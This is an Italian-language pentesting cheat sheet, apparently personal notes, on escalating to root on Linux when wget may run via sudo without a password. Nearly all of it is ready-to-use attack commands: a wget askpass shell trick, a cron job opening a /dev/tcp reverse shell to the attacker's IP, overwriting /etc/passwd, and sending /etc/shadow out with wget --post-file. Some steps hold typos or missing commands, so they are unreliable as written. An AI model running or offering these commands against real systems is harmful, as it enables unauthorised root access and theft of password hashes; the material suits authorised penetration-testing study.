tags: wget Permessi_SUDO privilage_escalation Linux_Privilage_Escalation


Quando abbiamo i permessi NOPASSWD su un servizio come wget siamo a cavallo.

Abbiamo diversi metodi per scalare i privilegi, il primo consiste nel ottenere una shell:

Ottenere una Shell

1)

Digita i seguenti comandi uno dopo l’altro per ottenere una shell:

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0

2) Cron Jobs

Se il primo metodo non funziona prova con questo:

Ci creiamo un file con all’interno questo comando che andremo ad inserire nei cronjob della vittima:

 
nano shell
 
#Contenuto del file:
* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/[TUO_IP_ATTACCANTE]/4444 0>&1"

Una volta creato ci mettiamo in ascolto sulla porta inserita nel comando precedente:

nc -lvnp 4444

Ora ci creiamo un server web nella stessa cartella del file con il cronjob:

python3 -m http.server

Adesso dalla macchina vittima lanciamo il seguente comando:

sudo /usr/bin/wget http://[TUO_IP_ATTACCANTE]:8000/shell -O /etc/cron.d/shell

Questo comando ci scaricherà il nostro file con il cronjob e lo andrà inserire nella cartella /etc/cron.d, aspettiamo un minuto ed otterremo una shell di root nel terminale in ascolto con netcat.

3) /etc/passwd

Possiamo fare la stessa cosa, ma con il file /etc/passwd, praticamente ci creiamo una password hashata con python tramite i seguenti comandi:

Una volta creata la password possiamo mandare questo file alla nostra macchina attaccante, modificare il file con la nostra password e ricaricarlo sulla macchina vittima con il segunte comando:

sudo wget <indirzzoIPattaccante>:8000/passwd -O /etc/passwd
 
su

Leggere file

Mettiti in ascolto tramite netcat:

nc -lvnp 80 > hash

Dalla macchina vittima lancia il seguente comando:

sudo /user/bin/wget --post-file=/etc/shadow <indirizzo attaccante>

Dopo aver lanciato questo comando dovresti aver ottenuto il contenuto del file shadow salvato nel file hash della macchina attaccante